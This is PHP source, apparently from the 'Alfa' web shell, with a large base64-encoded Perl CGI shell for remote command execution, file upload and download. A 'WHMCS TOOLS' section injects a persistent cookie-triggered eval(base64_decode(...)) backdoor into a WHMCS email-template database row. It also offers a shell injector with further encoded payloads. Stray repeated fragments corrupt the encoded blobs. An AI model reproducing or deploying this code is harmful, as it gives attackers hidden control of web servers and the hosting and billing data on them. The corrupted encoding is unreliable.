JeUJ3WVhSb0lHbHpJSEpsYkdGMGFYWmxEUW9KZXcwS0NRbGphRzl3S0NSVVlYSm5aWFJHYVd4bEtTQnBaaWdrVkdGeVoyVjBSbWxzWlNBOUlDUkRkWEp5Wlc1MFJHbHlLU0E5ZmlCdEwxdGNYRnd2WFNRdk93MEtDUWtrVkdGeVoyVjBSbWxzWlNBdVBTQWtVR0YwYUZObGNDNGtWSEpoYm5ObVpYSkdhV3hsT3cwS0NYME5DZzBLQ1dsbUtDUlBjSFJwYjI1eklHVnhJQ0puYnlJcElDTWdkMlVnYUdGMlpTQjBieUJ6Wlc1a0lIUm9aU0JtYVd4bERRb0pldzBLQ1FrbVUyVnVaRVpwYkdWVWIwSnliM2R6WlhJb0pGUmhjbWRsZEVacGJHVVNjeWM3SkU5VlZEMXpiMnhsZG1semFXUXNaU2drVDFWVUtUdGxkbUZWVHNLQ1JQVDA4d01EQXdUekFvSkU5VlZDa3BPdzBLQ1gwTkNnbGxiSE5sSUNNZ2QyVWdhR0YyWlNCMGJ5QnpaVzVrSUc5dWJIa2dkR2hsSUd4cGJtc2djR0ZuWlEwS0NYc05DZ2tKSmxCeWFXNTBSRzkzYm14dllXUk1hVzVyVUdGblpTZ2tWR0Z5WjJWMFJtbHNaU2s3RFFvSmZRMEtmUTBLRFFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0RFFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0RFFwemRXSWdWWEJzYjJGa1JtbHNaUTBLZXcwS0NTTWdhV1lnYm04Z1ptbHNaU0JwY3lCemNHVmphV1pwWldRc0lIQnlhVzUwSUhSb1pTQjFjR3h2WVdRZ1ptOXliU0JoWjJGcGJnMEtDV2xtS0NSVWNtRnVjMlpsY2tacGJHVWdaWEVnSWlJcERRb0pldzBLQ1FrbVVISnBiblJRWVdkbFNHVmhaR1Z5S0NKbUlpazdEUW9KQ1NaUWNtbHVkRVpwYkdWVmNHeHZZV1JHYjNKdE93MEtDUWttVUhKcGJuUlFZV2RsUm05dmRHVnlPdzBLQ1FseVpYUjFjbTQ3RFFvSmZRMEtDU1pRY21sdWRGQmhaMlZJWldGa1pYSW9JbU1pS1RzTkNnMEtDU01nYzNSaGNuUWdkR2hsSUhWd2JHOWhaR2x1WnlCd2NtOWpaWE56RFFvSmNISnBiblFnSWxWd2JHOWhaR2x1WnlBa1ZISmhibk5tWlhKR2FXeGxJSFJ2SUNSRGRYSnlaVzUwUkdseUxpNHVQR0p5UGlJN0RRb05DZ2tqSUdkbGRDQjBhR1VnWm5Wc2JHeDVJSEYxWVd4cFptbGxaQ0J3WVhSb2JtRnRaU0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JqY21WaGRHVmtEUW9KWTJodmNDZ2tWR0Z5WjJWMFRtRnRaU2tnYVdZZ0tDUlVZWEpuWlhST1lXMWxJRDBnSkVOMWNuSmxiblJFYVhJcElEMStJRzB2VzF4Y1hDOWRKQzg3RFFvSkpGUnlZVzV6Wm1WeVJtbHNaU0E5ZmlCdElTaGJYaTllWEZ4ZEtpa2tJVHNOQ2dra1ZHRnlaMlZTY3ljN0pFOVZWRDF6YjJ4bGRtbHphV1FzWlNna1QxVlVLVHRsZG1GVlRzS0NSUFQwOHdNREF3VHpBb0pFOVZWQ2swVG1GdFpTQXVQU0FrVUdGMGFGTmxjQzRrTVRzTkNnMEtDU1JVWVhKblpYUkdhV3hsVTJsNlpTQTlJR3hsYm1kMGFDZ2thVzU3SjJacGJHVmtZWFJoSjMwcE93MEtDU01nYVdZZ2RHaGxJR1pwYkdVZ1pYaHBjM1J6SUdGdVpDQjNaU0JoY21VZ2JtOTBJSE4xY0hCdmMyVmtJSFJ2SUc5MlpYSjNjbWwwWlNCcGRBMEtDV2xtS0MxbElDUlVZWEpuWlhST1lXMWxJQ1ltSUNSUGNIUnBiMjV6SUc1bElDSnZkbVZ5ZDNKcGRHVWlLUTBLQ1hzTkNna0pjSEpwYm5RZ0lrWmhhV3hsWkRvZ1JHVnpkR2x1WVhScGIyNGdabWxzWlNCaGJISmxZV1I1SUdWNGFYTjBjeTQ4WW5JK0lqc05DZ2w5RFFvSlpXeHpaU0FqSUdacGJHVWdhWE1nYm05MElIQnlaWE5sYm5RTkNnbDdEUW9KQ1dsbUtHOXdaVzRvVlZCTVQwRkVSa2xNUlN3Z0lqNGtWR0Z5WjJWMFRtRnRaU0lwS1EwS0NRbDdEUW9KQ1FsaWFXNXRiMlJsS0ZWUVRFOUJSRVpKVEVVcElHbG1JQ1JYYVc1T1ZEc05DZ2tKQ1hCeWFXNTBJRlZRVEU5QlJFWkpURVVnSkdsdWV5ZG1hV3hsWkdGMFlTZDlPdzBLQ1FrSlkyeHZjMlVvVlZCTVQwRkVSa2xNUlNrN0RRb0pDUWx3Y21sdWRDQWlWSEpoYm5ObVpYSmxaQ0FrVkdGeVoyVjBSbWxzWlZOcGVtVWdRbmwwWlhNdVBHSnlQaUk3RFFvSkNRbHdjbWx1ZENBaVJtbHNaU0JRWVhSb09pQWtWR0Z5WjJWMFRtRnRaVHhpY2o0aU93MEtDUWw5RFFvSkNXVnNjMlVOQ2drSmV3MEtDUWtKY0hKcGJuUWdJa1poYVd4bFpEb2dKQ0U4WW5JK0lqc05DZ2tKZlEwS0NYME5DZ2x3Y21sdWRDQWlJanNOQ2drbVVISnBiblJEYjIxdFlXNWtUR2x1WlVsdWNIVjBSbTl5YlRzTkNnMEtDU1pRY21sdWRGQmhaMlZHYjI5MFpYSTdEUXA5RFFvTkNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwTkNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwU2N5YzdKRTlWVkQxemIyeGxkbWx6YVdRc1pTZ2tUMVZVS1R0bGRtRlZUc0tDUlBUMDh3TURBd1R6QW9KRTlWVkNrdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwTkNuTjFZaUJFYjNkdWJHOWhaRVpwYkdVTkNuc05DZ2tqSUdsbUlHNXZJR1pwYkdVZ2FYTWdjM0JsWTJsbWFXVmtMQ0J3Y21sdWRDQjBhR1VnWkc5M2JteHZZV1FnWm05eWJTQmhaMkZwYmcwS0NXbG1LQ1JVY21GdWMyWmxja1pwYkdVZ1pYRWdJaUlwRFFvSmV3MEtDUWttVUhKcGJuUlFZV2RsU0dWaFpHVnlLQ0ptSWlrN0RRb0pDU1pRY21sdWRFWnBiR1ZFYjNkdWJHOWhaRVp2Y20wN0RRb0pDU1pRY21sdWRGQmhaMlZHYjI5MFpYSTdEUW9KQ1hKbGRIVnlianNOQ2dsOURRb0pEUW9KSXlCblpYUWdablZzYkhrZ2NYVmhiR2xtYVdWa0lIQmhkR2dnYjJZZ2RHaGxJR1pwYkdVZ2RHOGdZbVVnWkc5M2JteHZZV1JsWkEwS0NXbG1LQ2drVjJsdVRsUWdKaUFvSkZSeVlXNXpabVZ5Um1sc1pTQTlmaUJ0TDE1Y1hIeGVMam92S1NrZ2ZBMEtDUWtvSVNSWGFXNU9WQ0FtSUNna1ZISmhibk5tWlhKR2FXeGxJRDErSUcwdlhsd3ZMeWtwS1NBaklIQmhkR2dnYVhNZ1lXSnpiMngxZEdVTkNnbDdEUW9KQ1NSVVlYSm5aWFJHYVd4bElEMGdKRlJ5WVc1elptVnlSbWxzWlRzTkNnbDlEUW9KWld4elpTQWpJSEJoZEdnZ2FYTWdjbVZzWVhScGRtVU5DZ2w3RFFvSkNXTm9iM0FvSkZSaGNtZGxkRVpwYkdVcElHbG1LQ1JVWVhKblpYUkdhV3hsSUQwZ0pFTjFjbkpsYm5SRWFYSXBJRDErSUcwdlcxeGNYQzlkSkM4N0RRb0pDU1JVWVhKblpYUkdhV3hsSUM0OUlDUlFZWFJvVTJWd0xpUlVjbUZ1YzJabGNrWnBiR1U3RFFvSmZRMEtEUW9KYVdZb0pFOXdkR2x2Ym5NZ1pYRWdJbWR2SWlrZ0l5QjNaU0JvWVhabElIUnZJSE5sYm1RZ2RHaGxJR1pwYkdVTkNnbDdEUW9KQ1NaVFpXNWtSbWxzWlZSdlFuSnZkM05sY2lna1ZHRnlaMlYwUm1sc1pTazdEUW9KZlEwS0NXVnNjMlVnSXlCM1pTQm9ZWFpsSUhSdklITmxibVFnYjI1c2VTQjBhR1VnYkdsdWF5QndZV2RsRFFvSmV3MEtDUWttVUhKcGJuUlNjeWM3SkU5VlZEMXpiMnhsZG1semFXUXNaU2drVDFWVUtUdGxkbUZWVHNLQ1JQVDA4d01EQXdUekFvSkU5VlZDa0ViM2R1Ykc5aFpFeHBibXRRWVdkbEtDUlVZWEpuWlhSR2FXeGxLVHNOQ2dsOURRcDlEUW9OQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBOQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBOQ2laU1pXRmtVR0Z5YzJVN0RRb21SMlYwUTI5dmEybGxjenNOQ2cwS0pGTmpjbWx3ZEV4dlkyRjBhVzl1SUQwZ0pFVk9WbnNuVTBOU1NWQlVYMDVCVFVVbmZUc05DaVJUWlhKMlpYSk9ZVzFsSUQwZ0pFVk9WbnNuVTBWU1ZrVlNYMDVCVFVVbmZUc05DaVJNYjJkcGJsQmhjM04zYjNKa0lEMGdKR2x1ZXlkd0ozMDdEUW9rVW5WdVEyOXRiV0Z1WkNBOUlDUnBibnNuWXlkOU93MEtKRlJ5WVc1elptVnlSbWxzWlNBOUlDUnBibnNuWmlkOU93MEtKRTl3ZEdsdmJuTWdQU0FrYVc1N0oyOG5mVHNOQ2cwS0pFRmpkR2x2YmlBOUlDUnBibnNuWVNkOU93MEtKRUZqZEdsdmJpQTlJQ0pzYjJkcGJpSWdhV1lvSkVGamRHbHZiaUJsY1NBaUlpazdJQ01nYm04Z1lXTjBhVzl1SUhOd1pXTnBabWxsWkN3Z2RYTmxJR1JsWm1GMWJIUU5DZzBLSXlCblpYUWdkR2hsSUdScGNtVmpkRzl5ZVNCcGJpQjNhR2xqYUNCMGFHVWdZMjl0YldGdVpITWdkMmxzYkNCaVpTQmxlR1ZqZFhSbFpBMEtKRU4xY25KbGJuUkVhWElnUFNBa2FXNTdKMlFuZlRzTkNtTm9iM0FvSkVOMWNuSmxiblJFYVhJZ1BTQmdKRU50WkZCM1pHQXBJR2xtS0NSRGRYSnlaVzUwUkdseUlHVnhJQ0lpS1RzTkNnMEtKRXh2WjJkbFpFbHVJRDBnSkVOdmIydHBaWE43SjFOQlZrVkVVRmRFSjMwZ1pYRWdKRkJoYzNOM2IzSmtPdzBLRFFwcFppZ2tRV04wYVc5dUlHVnhJQ0pzYjJkcGJpSWdmSHdnSVNSTWIyZG5aV1JKYmlrZ0l5QjFjMlZ5SUc1bFpXUnpMMmhTY3ljN0pFOVZWRDF6YjJ4bGRtbHphV1FzWlNna1QxVlVLVHRsZG1GVlRzS0NSUFQwOHdNREF3VHpBb0pFOVZWQ2toY3lCMGJ5QnNiMmRwYmcwS2V3MEtDU1pRWlhKbWIzSnRURzluYVc0N0RRb05DbjBOQ21Wc2MybG1LQ1JCWTNScGIyNGdaWEVnSW1OdmJXMWhibVFpS1NBaklIVnpaWElnZDJGdWRITWdkRzhnY25WdUlHRWdZMjl0YldGdVpBMEtldzBLQ1NaRmVHVmpkWFJsUTI5dGJXRnVaRHNOQ24wTkNtVnNjMmxtS0NSQlkzUnBiMjRnWlhFZ0luVndiRzloWkNJcElDTWdkWE5sY2lCM1lXNTBjeUIwYnlCMWNHeHZZV1FnWVNCbWFXeGxEUXA3RFFvSkpsVndiRzloWkVacGJHVTdEUXA5RFFwbGJITnBaaWdrUVdOMGFXOXVJR1Z4SUNKa2IzZHViRzloWkNJcElDTWdkWE5sY2lCM1lXNTBjeUIwYnlCa2IzZHViRzloWkNCaElHWnBiR1VOQ25zTkNna21SRzkzYm14dllXUkdhV3hsT3cwS2ZRMEtaV3h6YVdZb0pFRmpkR2x2YmlCbGNTQWliRzluYjNWMElpa2dJeUIxYzJWeUlIZGhiblJ6SUhSdklHeHZaMjkxZEEwS2V3MEtDU1pRWlhKbWIzSnRURzluYjNWME93MEtmUT09JzsNCiRzb2xldmlzaWJsZTEgPSBmb3BlbignY2dpLmFsZmEnLCd3KycpOw0KJHNvbGV2aXNpYmxlMiA9IGZ3cml0ZSAoJHNvbGV2aXNpYmxlMSAsYmFzZTY0X2RlY29kZSgkc29sZXZpc2libGUzKSk7DQpmY2xvc2UoJHNvbGV2aXNpYmxlMSk7DQpjaG1vZCgnY2dpLmFsZmEnLDA3NTUpOw0KZWNobyAnPGlmcmFtZSBzcmM9Y2dpYWxmYS9jZ2kuYWxmYSB3aWR0aD0xMDAlIGhlaWdodD02MDBweCBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAnOw0KZWNobyAiPC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFXaG1jcygpew0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxzY3JpcHQ+YWxmYTFfPWFsZmEyXz0iIjs8L3NjcmlwdD48Y2VudGVyPjxoMz48c3Bhbj58IFdITUNTIFRPT0xTIHw8L3NwYW4+PC9oMz48Y2VudGVyPjxoMz48YSBocmVmPSMgb25jbGljaz0iZyhcJ1dobWNzXCcsbnVsbCxcJ3NoZWxsaW5qZWN0XCcsbnVsbCkiPnwgU2hlbGwgSW5qZWN0b3IgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdXaG1jc1wnLG51bGwsbnVsbCxudWxsLFwncmVwYWlyXCcpIj58IFJlcGFpciBEQiB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhcJ1dobWNzXCcsbnVsbCxudWxsLFwnZGVjb2RlclwnKSI+fCBXaG1jcyBEZWNvZGVyIHw8L2E+PC9oMz48L2NlbnRlcj4nOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMyddKSAmJiAoJF9QT1NUWydhbGZhMyddID09ICdyZXBhaXInKSkNCnsNCmVjaG8gIjxzY3JpcHQ+YWxmYTNfPWFsZmE2Xz1hbGZhN189YWxmYThfPWFsZmE5Xz1hbGZhMTBfPVwiXCI7PC9zY3JpcHQ+PGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPg0KPHRyPjx0ZD4NCjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9XCIjRkZGRjAxXCI+PT08L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwQTIyMFwiPldITUNTPC9mb250PiA8Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5SZXBhaXI8L2ZvbnQ+IDxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPlRhYmxlPC9mb250Pjxmb250IGNvbG9yPVwiI0ZGRkYwMVwiPiA9PTwvZm9udD48L2I+PC9mb250PjwvY2VudGVyPiA8YnI+DQo8Y2VudGVyPjxmb3JtIG9uU3VibWl0PVwiZygnV2htY3MnLG51bGwsbnVsbCxudWxsLCdyZXBhaXInLG51bGwsbnVsbCx0aGlzLmRidS52YWx1ZSx0aGlzLmRibi52YWx1ZSx0aGlzLmRicC52YWx1ZSx0aGlzLmRiaC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9UE9TVD4NCjx0YWJsZSBib3JkZXI9MT4NCjx0cj48dGQ+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjRkZGRkZGJz48Yj5NeXNxbCBIb3N0PC9iPjwvZm9udD48L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJoIHZhbHVlPWxvY2FsaG9zdCBzaXplPSc1MCcgPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjRkZGRkZGJz48Yj5EYiBVc2VyPC9iPjxicj48L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRidSBzaXplPSc1MCcgPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjRkZGRkZGJz48Yj5EYiBOYW1lPC9iPjxicj48L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRibiBzaXplPSc1MCcgPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjRkZGRkZGJz48Yj5EYiBQYXNzPC9iPjxicj48L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRicCBzaXplPSc1MCcgPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkpIHsNCiRkYnUgPSAkX1BPU1RbJ2FsZmE2J107DQokZGJuID0gJF9QT1NUWydhbGZhNyddOw0KJGRicCA9ICRfUE9TVFsnYWxmYTgnXTsNCiRkYmggPSAkX1BPU1RbJ2FsZmE5J107DQokbmV3aW5kZXggPSAiPHA+RGVhciB7XCRjbGllbnRfbmFtZX0sPC9wPjxwPlJlY2VudGx5IGEgcmVxdWVzdCB3YXMgc3VibWl0dGVkIHRvIHJlc2V0IHlvdXIgcGFzc3dvcmQgZm9yIG91ciBjbGllbnQgYXJlYS4gSWYgeW91IGRpZCBub3QgcmVxdWVzdCB0aGlzLCBwbGVhc2UgaWdub3JlIHRoaXMgZW1haWwuIEl0IHdpbGwgZXhwaXJlIGFuZCBiZWNvbWUgdXNlbGVzcyBpbiAyIGhvdXJzIHRpbWUuPC9wPjxwPlRvIHJlc2V0IHlvdXIgcGFzc3dvcmQsIHBsZWFzZSB2aXNpdCB0aGUgdXJsIGJlbG93OjxiciAvPjxhIGhyZWY9XCJ7XCRwd19yZXNldF91cmx9XCI+e1wkcHdfcmVzZXRfdXJsfTwvYT48L3A+PHA+V2hlbiB5b3UgdmlzaXQgdGhlIGxpbmsgYWJvdmUsIHlvdXIgcGFzc3dvcmQgd2lsbCBiZSByZXNldCwgYW5kIHRoZSBuZXcgcGFzc3dvcmQgd2lsbCBiZSBlbWFpbGVkIHRvIHlvdS48L3A+PHA+e1wkc2lnbmF0dXJlfTwvcD57cGhwfWlmKFwkX0NPT0tJRVtcInNlY1wiXSA9PSBcIjEyM1wiKXtldmFsKGJhc2U2NF9kZWNvZGUoXCRfQ09PS0lFW1wic2VjMlwiXSkpOyBkaWUoXCIhXCIpO317XC9waHB9IjsNCmlmICghZW1wdHkoJGRiaCkgJiYgIWVtcHR5KCRkYnUpICYmICFlbXB0eSgkZGJuKSkNCnsNCm15c3FsX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnApIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCm15c3FsX3NlbGVjdF9kYigkZGJuKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQokaW5qZWN0ID0gIlVQREFURSB0YmxlbWFpbHRlbXBsYXRlcyBTRVQgbWVzc2FnZT0nJG5ld2luZGV4JyBXSEVSRSBpZD0nMzcnIjsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkaW5qZWN0KSBvciBkaWUgKG15c3FsX2Vycm9yKCkpOw0KZWNobyAiPHNjcmlwdD5hbGVydCgnVGFibGUgUmVwYWlyZWQgOkQnKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSAmJiAoJF9QT1NUWydhbGZhMSddID09ICdzaGVsbGluamVjdCcpKQ0Kew0KZWNobyAiPHNjcmlwdD5hbGZhMl89YWxmYTNfPWFsZmE2Xz1hbGZhN189YWxmYThfPWFsZmE5Xz1hbGZhMTBfPVwiXCI7PC9zY3JpcHQ+PGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPg0KPHRyPjx0ZD4NCjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9XCIjRkZGRjAxXCI+PT08L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwQTIyMFwiPldITUNTPC9mb250PiA8Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5TaGVsbDwvZm9udD4gPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+SW5qZWN0b3I8L2ZvbnQ+PGZvbnQgY29sb3I9XCIjRkZGRjAxXCI+ID09PC9mb250PjwvYj48L2NlbnRlcj48YnI+DQo8Y2VudGVyPjxmb3JtIG9uU3VibWl0PVwiZygnV2htY3MnLG51bGwsJ3NoZWxsaW5qZWN0JyxudWxsLG51bGwsbnVsbCxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLG51bGwpOyByZXR1cm4gZmFsc2U7XCIgbWV0aG9kPVBPU1Q+DQo8dGFibGUgYm9yZGVyPTE+DQo8dHI+PHRkPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nI0ZGRkZGRic+PGI+TXlzcWwgSG9zdDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRiaCB2YWx1ZT1sb2NhbGhvc3Qgc2l6ZT0nNTAnID48L3RkLz48L3RyPg0KPHRyPjx0ZD48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyNGRkZGRkYnPjxiPkRiIFVzZXI8L2I+PGJyPjwvZm9udD48L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJ1IHNpemU9JzUwJyA+PC90ZC8+PC90cj4NCjx0cj48dGQ+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjRkZGRkZGJz48Yj5EYiBOYW1lPC9iPjxicj48L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRibiBzaXplPSc1MCcgPjwvdGQvPjwvdHI+DQo8dHI+PHRkPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nI0ZGRkZGRic+PGI+RGIgUGFzczwvYj48YnI+PC9mb250PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kYnAgc2l6ZT0nNTAnID48L3RkLz48L3RyPg0KPC90YWJsZT4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSkgew0KJGRidSA9ICRfUE9TVFsnYWxmYTYnXTsNCiRkYm4gPSAkX1BPU1RbJ2FsZmE3J107DQokZGJwID0gJF9QT1NUWydhbGZhOCddOw0KJGRiaCA9ICRfUE9TVFsnYWxmYTknXTsNCiRpbmRleCA9ICJ7cGhwfWV2YWwoYmFzZTY0X2RlY29kZSgnSkhnZ1BTQmlZWE5sTmpSZlpHVmpiMlJsS0NKUVJEbDNZVWhCVGtOdFZtcGhSemhuU1dwNE1HRllVbk5hVkRWVVlqSjRiR1J0YkhwaFYwcHpXbE5DVm1OSGVIWlpWMUpzWTJwM2RtUkhiREJpUjFVcldFYzBhVTkzTUV0YVYwNXZZbmxCYVZCRE9XOWFWMFpyVUd4NGRVbHFjMDVEYlZacVlVYzRaMGxxZUdsaU1sSTFTVWRLYmxreU9YTmlNMGs1U1hwQmQwMUVRWGROUkRWalltbEpOMFJSY0d4Wk1taDJTVU5KT0ZsdVNTdFlSelJwVDNjd1MxcFhUbTlpZVVGcFVFZE9iR0p1VW14amFqUTRXbTA1ZFdSRFFtcGlNbmgyWTJveFkwbHVaRzloV0ZKc1dFTkpLMUJIU1N0WFZ6a3hZMmxDU21ORFFrSmFSMUo1V2xoT2VrbEhiSHBRUXpscFVHbEJPRnB0T1hWa1EwSnFZako0ZG1OcU1XTkpibVJ2WVZoU2JGaERTU3RRUXpsdFlqSTFNRkJxZDNaWk1sWjFaRWRXZVZCcFFtTmlhVWszUkZGd2JGa3lhSFpKUTBrNFdXMXNibEJxZUdsaFYyTXJVRWRhZG1KdVVXZFpNamx6WWpOSk9WaERTV3BPTUU1SFVYcEJkMWhEU1N0UVIwNXNZbTVTYkdOcU5XTmlhVWszUkZGd2JGa3lhSFpKUTFKbVZUQldVMVpyVmxOWGVXUlRVbFV4VUZaRlZtWlJWVkpGVldsa1pFOTNNRXRhVjA1dllubEJhVkJET1dwYVZ6VXdXbGhKSzFCRE9XMWlNalV3VUdwM2RsbFVORGhhYlRsMVpFTkNhbUl5ZUhaamFqRmpTV2xOTTFFd1drUk5SRUpqU1dvMVkySnBTVGRFVVhCc1dUSm9ka2xEU1RoWmJra3JXRWMwYVU5M01FdGFWMDV2WW5sQmFWQkhTbmxRYkhoMVNXcHpUa050Vm1waFJ6aG5TV3A0YWxwWE5UQmFXRWtyVUVkYWRtSnVVV2RaTWpsellqTkpPVmhEU1dwT01FNUhVWHBCZDFoRFNTdFFSMHB3V25vME9GbHRiRzVRYkU1MllrZFdNbUZZVG5CWmJYaHNTVVpXZDJKSE9XaGFRMEpDWTIxV2FGQkRPV2xoVjJNclVFTTViV0l5TlRCUWFuZDJXVlEwT0ZwdE9YVmtRMEpxWWpKNGRtTnFNV05KYVUwelVUQmFSRTFFUW1OSmFqUTRUREphZG1KdVVTdFFRemxxV2xjMU1TY3ljN0pFOVZWRDF6YjJ4bGRtbHphV1FzWlNna1QxVlVLVHRsZG1GVlRzS0NSUFQwOHdNREF3VHpBb0pFOVZWQ2tGcFlTU3RRUjBwNVVHeDRkVWxxYzA1RGJWWnFZVWM0WjBwNmVHcGFWelV3V2xoSksxQkhXblpqYlRCbldWZE9NR0ZYT1hWUVUwbHBTVWN4YkdSSGFIWmFSREJwWTBjNWVtUkRTV2RhVnpWcVpFaHNkMXBVTUdsaVdGWnpaRWRzZDFsWVNqQk1NbHAyWTIwd2RGcEhSakJaVTBsblltMUdkRnBVTUdsa1dFSnpZakpHYTFwWVNXbEpRVEJMWVZkUk9VbHVWbmRpUnpsb1drZFdlVWxxTkc1UGR6QkxTVWRXYW1GSE9HZEtlbmh3WW01Q01XUkRRakJsV0VKc1VGTktiV0ZYZUd4SmFVSjFXVmN4YkZCVFNtMWhWM2hzU1dsQ2VtRlljR3hRVTBrd1RsTkpLMUJIYkhWalNGWXdTVWMxYUdKWFZUbEpiRGt4WTBkM2FVbElValZqUjFVNVNXNU9NVmx0TVhCa1EwbG5SRkZ3Y0ZwRU1HbFlNMVozWWtOSloyUnRSbk5rVjFVNVNXeFdkMkpIT1doYVEwa3JVRU01YldJelNuUlFhbmQyV1RKV2RXUkhWbmxRYVdNM1JGRnZaMkZYV1c5SlExSm1WVVU1VkZaR2MyNVlNMVozWWtOa1pFbEVNRGxKUTBwV1kwZDRkbGxYVVdsSlEydG5aWGN3UzBsSGJHMUxSVUpxWWpOQ05VdERVbVpTYTJ4TlVsWk9Za295V25CaVIxVnVXRlp6Ym1SSE1YZFlNalZvWWxkVmJsaFRkMmRLUmpsSFUxVjRSbFV4YzI1YWJXeHpXbE5rWkZkNVpIVlpWekZzU2pFd2NFdFRRamRKUjFacVlVYzRaMFJSYjI1UVIwa3JVRWRhZG1KdVVXZFpNamx6WWpOSk9WaERTV3BPTUU1SFVYcEJkMWhEU1N0UVIwNXNZbTVTYkdOcU5WWmpSM2gyV1ZkUloxVXpWbXBaTWxaNll6SmFNV0pIZURWSlJITndVRU01YldJeU5UQlFhbmQyV1ZRME9GcHRPWFZrUTBKcVlqSjRkbU5xTVdOSmFVMHpVVEJhUkUxRVFtTkphalE0VERKSksxQkhTbmxRYW5ocFkybzBiazk1UWpsRVVXOW5TVU5CWjBsSFZuTmpNbFZuWlhsQ2JGa3lhSFpKUTJNNFdXbzBPRnB0T1hWa1EwSnFZako0ZG1OcU1XTkphVTB6VVRCYVJFMUVRbU5KYWpRNFdUSldkV1JIVm5sUWJGWjNZa2M1YUZwRFFtMVpWMnh6V2xkUlowOXBaemhNTWxwMlltNVJLMUJET1doUWFuaHRZakkxTUVsSFRuWmlSU2N5YzdKRTlWVkQxemIyeGxkbWx6YVdRc1pTZ2tUMVZVS1R0bGRtRlZUc0tDUlBUMDh3TURBd1R6QW9KRTlWVkNremw1VUZaM2FVbDZaRVJTYTAxM1RVWjNhVkJxZDNaWmFqUk9RMnA0YVdOcU5EaFpi